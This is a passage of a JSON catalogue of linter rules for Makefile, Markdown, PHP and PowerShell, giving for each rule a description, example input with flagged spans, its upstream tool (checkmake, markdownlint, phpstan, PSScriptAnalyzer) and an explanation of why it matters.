        "makefile/checkmake"
      ],
      "upstream": [
        {
          "id": "timestampexpanded",
          "partial": false,
          "tool": "checkmake",
          "url": "https://github.com/checkmake/checkmake/blob/main/docs/rules.md"
        }
      ],
      "why": "A recursively expanded variable (`=`) runs its text each time it is used, so a build that uses `TS = $(shell date)` twice gets two different times, and file names built from it do not match.\n\nTo fix, write `TS := $(shell date +%s)`, which runs once."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a target defined by more than one rule, which merges prerequisites and overrides recipes. Double-colon rules, `.PHONY` and the targets of the `ignore` option are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a:\n\techo\na:\n\techo\nb::\nb::\n.PHONY: a\n.PHONY: b\nc d:\nd:\n",
        "language": "makefile",
        "other_lines": [
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 3
          },
          {
            "column": 1,
            "length": 1,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "unique-targets",
      "languages": [
        "makefile"
      ],
      "options": [
        {
          "default": [],
          "description": "Targets that may be defined more than once.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "makefile/checkmake"
      ],
      "upstream": [
        {
          "id": "uniquetargets",
          "partial": false,
          "tool": "checkmake",
          "url": "https://github.com/checkmake/checkmake/blob/main/docs/rules.md"
        }
      ],
      "why": "Several rules for one target add their prerequisites and only one of them may have a recipe; `make` uses the last and warns about the override. The recipe that runs depends on the order of the rules.\n\nTo fix, merge the rules, or rename a target."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a fenced code block in which every non-blank line starts with `$ `, so it shows commands without their output. A block that has any line without the prompt, such as an output line, is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "```sh\n$ npm install\n$ npm test\n```\n\n```sh\n$ npm test\nall passed\n```\n\n```sh\nnpm test\n```\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "commands-show-output",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD014",
          "note": "Reported once on the block, markdownlint reports every command line (so no parity fixture); indented code blocks are not checked.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md014.md"
        }
      ],
      "why": "A reader who selects and copies the block gets the `$ ` with each command, and the shell then fails on the first character. Blocks that mix commands and output need the prompt to tell them apart, which is why they are left alone.\n\nTo fix, delete the `$ ` prompts, or show the output below the commands."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a link whose text is `click here`, `here`, `link` or `more` (in any case) and nothing else.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "[here](https://example.com), [Click here](https://example.com) and [the guide](https://example.com).\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 27,
            "line": 1
          },
          {
            "column": 30,
            "length": 33,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "descriptive-link-text",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD059",
          "note": "No `prohibited_texts` option.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md059.md"
        }
      ],
      "why": "Screen reader users often move from link to link and hear the texts without the text around them, and search engines read the text as a description of the target. `here` says neither where the link goes nor why, and the reader has to read the sentence to find out.\n\nTo fix, write the text so that it names the destination: `[the install guide](...)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a fenced code block that has no info string after the opening fence.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "```\nno language\n```\n\n```rust\nfn main() {}\n```\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "fenced-code-language",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD040",
          "note": "No `allowed_languages` or `language_only` options.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md040.md"
        }
      ],
      "why": "Renderers use the language to highlight the code, and tools use it to pick a formatter or to run a check on the block. Without it a block of JSON looks like any text, and tools skip it.\n\nTo fix, name the language after the fence (```` ```json ````), or `text` when the block is not code."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a heading that is more than one level deeper than the heading before it (an `h4` right after an `h2`). Going back up by any number of levels is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "# One\n\n### Three\n\n## Two\n\n#### Four\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 3
          },
          {
            "column": 1,
            "length": 9,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "heading-increment",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD001",
          "partial": false,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md001.md"
        }
      ],
      "why": "Headings make the outline of the page that screen readers and tables of contents are built from. A skipped level leaves a hole in that outline: a reader who jumps by level finds an `h4` with no `h3` above it.\n\nTo fix, use the missing level, or give the heading the level it has in the outline."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an image whose alternate text is empty (`![](url)`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "![](logo.png) and ![Logo](logo.png).\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-alt-text",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD045",
          "note": "An HTML `<img alt=\"\">` is not an image here.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md045.md"
        }
      ],
      "why": "The alternate text is what a screen reader reads, what shows when the image fails to load, and what a search engine indexes. An image without it is invisible to all of them.\n\nTo fix, describe the image in the brackets. An image that is only decoration can keep an empty text on purpose, and then the rule should be turned off for that file."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a URL (`http://` or `https://`) written in a paragraph that is neither a link nor an autolink, on the URL. It is found when it follows whitespace or starts the paragraph; headings are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "https://example.com is bare.\n\n<https://example.com> and [site](https://example.com) are not.\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-bare-urls",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD034",
          "note": "Reported on the paragraph; a URL right after `(` or `[` is not found.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md034.md"
        }
      ],
      "why": "Markdown flavours differ in whether a bare URL becomes a link: some leave it as plain text, and one that includes the trailing punctuation breaks the link. Marking it with `<...>` or a link makes the intent explicit and the same everywhere.\n\nTo fix, write `<https://example.com>` or `[text](https://example.com)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a heading whose text is the same as an earlier heading in the document, on the later one, with the first as the related location.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "# Usage\n\n## Install\n\n## Usage\n\nSetext\n------\n\nSetext\n======\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 5
          },
          {
            "column": 1,
            "length": 6,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-heading",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD024",
          "note": "No `siblings_only` option.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md024.md"
        }
      ],
      "why": "Headings that have the same text get the same anchor (the renderer adds a number to the second), so a link to `#usage` goes to the first one and a reader of the table of contents cannot tell the two apart.\n\nTo fix, make the headings different, for example by adding the name of the section they belong to."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a paragraph of one line that is only emphasized text (`**Overview**`) with no closing punctuation, outside a heading.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "**Overview**\n\n*Notes*\n\n**A sentence.**\n\nText with **bold** inside.\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 1
          },
          {
            "column": 1,
            "length": 7,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-emphasis-as-heading",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD036",
          "note": "No `punctuation` option.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md036.md"
        }
      ],
      "why": "Bold text is not a heading to tools: it is missing from the outline, from the table of contents and from the navigation of a screen reader, and it cannot be linked to. A short bold line that works as a title belongs in a heading.\n\nTo fix, use a heading (`## Overview`). Text that ends with punctuation (`**Note.**`) is a sentence and is not reported."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a link whose destination is empty or only `#` (`[docs]()`, `[docs](#)`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "A [docs]() and [anchor](#) and [ok](#top) link.\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 8,
            "line": 1
          },
          {
            "column": 16,
            "length": 11,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-empty-links",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD042",
          "partial": false,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md042.md"
        }
      ],
      "why": "A link with no target does nothing or reloads the page, and it usually marks a link that was never filled in or lost its URL while editing.\n\nTo fix, add the destination, or write plain text."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports raw HTML in a document, on each tag of inline HTML and on each HTML block. Comments are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Text with <b>bold</b> HTML and <!-- a comment -->.\n\n<div>\nblock\n</div>\n\n<!-- only a comment -->\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 11,
            "length": 3,
            "line": 1
          },
          {
            "column": 18,
            "length": 4,
            "line": 1
          },
          {
            "column": 1,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-inline-html",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD033",
          "note": "No `allowed_elements` option; an HTML block is one report, not one per tag.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md033.md"
        }
      ],
      "why": "Markdown is meant to be read as it is and to be rendered in many places. HTML is dropped, escaped or restyled by some renderers (a README on a package page, a chat message), and a document that depends on it renders differently in each.\n\nTo fix, use the Markdown form (`**bold**`, a link or an image). Where HTML is needed, turn the rule off for that file."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a paragraph that starts with one to six `#` and no space after them (`#Heading`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "#Heading\n\n## Fine\n\n###Also missing\n\nText with #hash inside.\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 1
          },
          {
            "column": 1,
            "length": 15,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-missing-space-atx",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD018",
          "partial": false,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md018.md"
        }
      ],
      "why": "To a reader this is a heading, but CommonMark needs a space after the `#`, so it is plain text with a `#` in front. The heading is missing from the outline and from the table of contents.\n\nTo fix, add a space: `# Heading`. A deliberate hash tag at the start of a line can be escaped with `\\#`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports link syntax written the wrong way round (`(text)[url]`), at the start of a paragraph or after whitespace, on the whole paragraph. No fix, because `(text)[url]` may be meant literally.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "(Docs)[https://example.com] is reversed, [Docs](https://example.com) is not.\n\nText (with parentheses) and [brackets] stay.\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 76,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-reversed-links",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD011",
          "note": "Reported on the paragraph, not the link; a link followed by a reference `[a](b)[c]` is not told apart.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md011.md"
        }
      ],
      "why": "Markdown reads `[text](url)` as a link; with the brackets and parentheses swapped the text is shown as it is, with both pairs in it, and the link does not exist.\n\nTo fix, swap them: `[text](url)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a code span that starts or ends with a space (`` ` code ` ``). A span whose content starts or ends with a backtick and is padded on both sides to separate it is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "A ` code` and `code ` and `code` span.\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 7,
            "line": 1
          },
          {
            "column": 15,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-space-in-code",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD038",
          "partial": false,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md038.md"
        }
      ],
      "why": "A renderer strips one space from each end only when both ends have one, so the spaces are lost or shown depending on the renderer. In code that shows the exact text (a command with a leading space) the difference matters, and elsewhere the spaces are noise.\n\nTo fix, delete the spaces inside the backticks."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports link text that starts or ends with a space (`[ docs ](url)`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "A [ docs](https://example.com) and [docs ](https://example.com) and [docs](https://example.com).\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 28,
            "line": 1
          },
          {
            "column": 36,
            "length": 28,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-space-in-links",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD039",
          "partial": false,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md039.md"
        }
      ],
      "why": "The spaces become part of the link, so the underlined, clickable text has blanks at its ends and the link looks off.\n\nTo fix, move the spaces out of the brackets."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a heading that ends with `.`, `,`, `;`, `:` or `!` (or the full-width forms). A `?` at the end is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "# Introduction.\n\n## Why?\n\n## Setup:\n\nOverview!\n---------\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 13,
            "line": 1
          },
          {
            "column": 4,
            "length": 6,
            "line": 5
          },
          {
            "column": 1,
            "length": 9,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-trailing-punctuation",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD026",
          "note": "No `punctuation` option; reported on the heading, not at the punctuation.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md026.md"
        }
      ],
      "why": "A heading is a title, not a sentence, and the punctuation at its end is carried into the table of contents and the anchor. A heading that ends with `?` is a question title and is accepted.\n\nTo fix, delete the punctuation."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a second or later top-level heading (`# Title`) in a document.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "# One\n\n## Sub\n\n# Two\n\nThree\n=====\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 5
          },
          {
            "column": 1,
            "length": 5,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "single-title",
      "languages": [
        "markdown"
      ],
      "options": [],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD025",
          "note": "No `level` option, and a `title:` in the front matter does not count as a title.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md025.md"
        }
      ],
      "why": "A document has one title: the top-level heading is what tools use as the page title, so a second one makes the title ambiguous, and the outline then has several roots.\n\nTo fix, make the later headings second-level, or split the document."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a class, interface or trait name written where a class is used (`new`, a type of a parameter, return value or property, `catch`, `instanceof`, the class of a static call or static property) that no file declares. The name is looked up in the project's files and in the files Composer's autoload rules (`composer.json` and the installed packages) name for it. A name outside every autoload prefix, or one that a conditional or run-time declaration may declare, is not reported.",
      "fix": null,
      "id": "class-not-found",
      "languages": [
        "php"
      ],
      "options": [],
      "presets": [
        "php/phpstan"
      ],
      "upstream": [
        {
          "id": "class.notFound",
          "note": "Only a name that a Composer autoload prefix of the project or its installed packages owns, whose file is missing; a class of an optional package that is not installed (no prefix owns it), the class of `Foo::CONST`, and the names of `extends`, `implements` and `use` are not looked at.",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        }
      ],
      "why": "A class that cannot be found fails at run time with an `Error` the moment the line runs, and a type that cannot be found makes the check of the argument or the return value fail.\n\nTo fix, install the package that holds the class, correct the name or the `use` import, or declare the class."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a parameter with a type that does not allow `null` and a `null` default (`int $a = null`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<?php\nfunction a(int $a = null, ?int $b = null, int|null $c = null, $d = null, mixed $e = null) {}\nclass P { function __construct(public $x = null, public string $y = null) {} }\n",
        "language": "php",
        "other_lines": [],
        "spans": [
          {
            "column": 12,
            "length": 13,
            "line": 2
          },
          {
            "column": 50,
            "length": 23,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "implicit-nullable-parameter",
      "languages": [
        "php"
      ],
      "options": [],
      "presets": [
        "php/phpstan"
      ],
      "upstream": [
        {
          "id": "parameter.implicitlyNullable",
          "note": "A typed parameter with a `null` default and no `?` or `null` in its type.",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        }
      ],
      "why": "The parameter is nullable only through the default, which is deprecated since PHP 8.4 and a notice to code that runs there. The type says one thing and the default another.\n\nTo fix, write the nullable type: `?int $a = null`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a function or method whose native return type or `@return` tag is not `void` or `never` and whose end can be reached without a `return` or `throw`, on the last statement that reaches the end. Generators are not reported, and a call that never returns (`exit`, `die`, a `@return never` function) is not seen.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<?php\nfunction a($x): int { if ($x) { return 1; } }\nfunction b($x): int { if ($x) { return 1; } elseif ($x > 1) { return 2; } else { return 3; } }\nfunction c($x): int { if ($x): return 1; else: throw new E(); endif; }\nfunction d($x): int { if ($x) { return 1; } exit; }\nfunction d2($x): int { if ($x) { return 1; } die(1); }\nfunction e($x): void { if ($x) { return; } }\nfunction f($x): iterable { if ($x) { yield 1; } }\n/** @return int */\nfunction g($x) { if ($x) { return 1; } }\n/** @return int|null */\nfunction h($x) { if ($x) { return 1; } }\nclass K { function __construct() { } }\n",
        "language": "php",
        "other_lines": [],
        "spans": [
          {
            "column": 23,
            "length": 21,
            "line": 2
          },
          {
            "column": 18,
            "length": 21,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "missing-return",
      "languages": [
        "php"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "return.missing",
          "note": "A native or `@return` type that is not void, never, mixed or null and a reachable end of the body; `exit` and `die` end a path; a call of a `@return never` function in another file (`bail()`, `abort()`), a type narrowed to every case, and a loop with an inner `break` are not seen (27 extra against 19 covered, so the rule is not in the preset).",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        }
      ],
      "why": "The function runs off its end and returns `null`, which breaks the declared type: a native type gives a `TypeError` at run time, and a documented type gives the caller a `null` where it expects a value.\n\nTo fix, return a value on every path, or throw."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `function name() {}` statement in the body of a function, method or closure.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<?php\nfunction a() { function b() {} }\nfunction c() { $f = function () {}; }\nclass D { function m() { function n() {} } }\nfunction e() {}\n",
        "language": "php",
        "other_lines": [],
        "spans": [
          {
            "column": 16,
            "length": 8,
            "line": 2
          },
          {
            "column": 26,
            "length": 8,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-inner-function",
      "languages": [
        "php"
      ],
      "options": [],
      "presets": [
        "php/phpstan"
      ],
      "upstream": [
        {
          "id": "function.inner",
          "note": "A named function declared in a function, method or closure.",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        }
      ],
      "why": "The inner function is declared when the outer one runs, so it does not exist before the first call, and a second call of the outer function fails with an error that the function is already declared.\n\nTo fix, declare the function at the top level, or use a closure."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `unset($this->name)` of a property the class declares when a subclass could give the property a hook (PHP 8.4): the class is not final and the property is not private, final, static or readonly.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<?php\nclass A { public $a; private $b; public readonly int $c;\n    function f() { unset($this->a); unset($this->b); unset($this->c); unset($this->z); }\n}\nfinal class B { public $a; function f() { unset($this->a); } }\n",
        "language": "php",
        "other_lines": [],
        "spans": [
          {
            "column": 26,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-unset-hookable-property",
      "languages": [
        "php"
      ],
      "options": [],
      "presets": [
        "php/phpstan"
      ],
      "upstream": [
        {
          "id": "unset.possiblyHookedProperty",
          "note": "`unset($this->p)` of a property the class declares; a property declared in a parent in another file is not seen.",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        }
      ],
      "why": "A property with a hook cannot be unset, so the call fails with an error in the subclass that overrides the property, while it works in the class that wrote it.\n\nTo fix, set the property to `null` instead, or make the class or the property final."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `new static` in a class that is not final and has no final or abstract constructor of its own. A constructor or a final parent in another file cannot be seen; the `@phpstan-consistent-constructor` tag of the class itself is.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<?php\nclass A { function make() { return new static(); } }\nfinal class B { function make() { return new static(); } }\nclass C { final public function __construct() {} function make() { return new static(); } }\ntrait T { function make() { return new static; } }\nclass D { function make() { return new self(); } }\n/** @phpstan-consistent-constructor */\nclass E { function make() { return new static(); } }\n",
        "language": "php",
        "other_lines": [],
        "spans": [
          {
            "column": 36,
            "length": 3,
            "line": 2
          },
          {
            "column": 36,
            "length": 3,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "unsafe-new-static",
      "languages": [
        "php"
      ],
      "options": [],
      "presets": [
        "php/phpstan"
      ],
      "upstream": [
        {
          "id": "new.static",
          "note": "A class without a final class or final or abstract constructor of its own; a constructor or final parent in another file, and a `@phpstan-ignore` comment, cannot be seen (about 17 findings of the 317).",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        }
      ],
      "why": "`new static` builds the class of the caller, so a subclass can be built with its own constructor with other parameters, and the call in the parent fails with a missing argument.\n\nTo fix, make the class or the constructor final, or call `new self`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function named `Verb-Noun` whose verb is not one that `Get-Verb` returns. A name without a dash is not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Fetch-Data {\n    param(\n        [string]$Password,\n        [Parameter(Mandatory)][string] $UserPassphrase = 'x',\n        [securestring]$Secret,\n        [string]$Name,\n        [switch]$Force = $true,\n        [switch]$Quiet\n    )\n    try { Get-Item x } catch { }\n    try { Get-Item x } catch {\n        # ignored\n    }\n    try { Get-Item x } catch { Write-Error $_ }\n    try { 1 } catch { try { 2 } catch { throw } }\n}\nfunction Get-Thing { }\nfunction Fetch { }\nfunction global:Make-Thing { }\n$global:count = 1\n$x = $global:count + 1\nSet-Item $env:Path -Value $Global:Foo\n$script:count = 1\n$input = 1\n$true = 0\n$count = 1\n$x -eq $null\n$null -eq $x\nif ($a -ne $null -and $b -ceq $null) { }\n$x -eq $nullable\n$null = 1\n$global:LASTEXITCODE = 1\nforeach ($Event in 1) { }\nfunction Show-It($Error, [string]$Credential) { }\n",
        "language": "powershell",
        "other_lines": [
          3,
          4,
          7,
          10,
          11,
          20,
          21,
          22,
          24,
          25,
          27,
          29,
          33,
          34
        ],
        "spans": [
          {
            "column": 10,
            "length": 10,
            "line": 1
          },
          {
            "column": 10,
            "length": 17,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "approved-verbs",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSUseApprovedVerbs",
          "note": "Names without a dash are not checked; the verb list is fixed and cannot follow the host.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/useapprovedverbs"
        }
      ],
      "why": "PowerShell users find commands by verb (`Get-Command -Verb Get`) and expect a verb to mean the same in every module. An unapproved verb such as `Make-` or `Delete-` also makes `Import-Module` print a warning about the module's names.\n\nTo fix, rename the function with an approved verb (`New-`, `Remove-`)."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a call of a cmdlet that gives none of the parameters that every parameter set requires, by name or by position. A `-name` takes the element after it as its value, so `Write-Verbose -Verbose \"text\"` leaves `-Message` unbound. A command behind a pipe or with a splatted argument is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Write-Verbose -Verbose \"text\"\nWrite-Verbose \"text\"\nWrite-Verbose -Message \"text\" -Verbose\nWrite-Verbose -ErrorAction Stop \"text\"\nWrite-Verbose -Verbose:$true \"text\"\nWrite-Verbose\nWrite-Verbose @args\n\"text\" | Write-Verbose\nJoin-Path -Path a\nJoin-Path -Resolve a\nJoin-Path a -Resolve\n",
        "language": "powershell",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 1
          },
          {
            "column": 1,
            "length": 13,
            "line": 5
          },
          {
            "column": 1,
            "length": 13,
            "line": 6
          },
          {
            "column": 1,
            "length": 9,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "missing-mandatory-parameter",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSUseCmdletCorrectly",
          "note": "Reads a table of the cmdlets that have a parameter mandatory in every parameter set (generated by `scripts/gen_powershell_commands.ps1` from the built-in modules of PowerShell 7.7); the module asks the commands of its host, user functions included. A `-name` takes the next element as its value, which is how the module reads `Write-Verbose -Verbose \"x\"`.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/usecmdletcorrectly"
        }
      ],
      "why": "PowerShell asks for a missing mandatory parameter at run time and waits for input. In a script or on a server that hangs the run, or fails with an error when there is no host to ask.\n\nTo fix, give the parameter by name."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an assignment to an automatic variable, a parameter or a `foreach` variable that has the name of one (`$Error`, `$Event`, `$input`, `$PSItem`, `$_`, `$PWD`, `$Host`, `$this`, `$true` and so on). `$null = ...` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Fetch-Data {\n    param(\n        [string]$Password,\n        [Parameter(Mandatory)][string] $UserPassphrase = 'x',\n        [securestring]$Secret,\n        [string]$Name,\n        [switch]$Force = $true,\n        [switch]$Quiet\n    )\n    try { Get-Item x } catch { }\n    try { Get-Item x } catch {\n        # ignored\n    }\n    try { Get-Item x } catch { Write-Error $_ }\n    try { 1 } catch { try { 2 } catch { throw } }\n}\nfunction Get-Thing { }\nfunction Fetch { }\nfunction global:Make-Thing { }\n$global:count = 1\n$x = $global:count + 1\nSet-Item $env:Path -Value $Global:Foo\n$script:count = 1\n$input = 1\n$true = 0\n$count = 1\n$x -eq $null\n$null -eq $x\nif ($a -ne $null -and $b -ceq $null) { }\n$x -eq $nullable\n$null = 1\n$global:LASTEXITCODE = 1\nforeach ($Event in 1) { }\nfunction Show-It($Error, [string]$Credential) { }\n",
        "language": "powershell",
        "other_lines": [
          1,
          3,
          4,
          7,
          10,
          11,
          19,
          20,
          21,
          22,
          27,
          29
        ],
        "spans": [
          {
            "column": 1,
            "length": 10,
            "line": 24
          },
          {
            "column": 1,
            "length": 9,
            "line": 25
          },
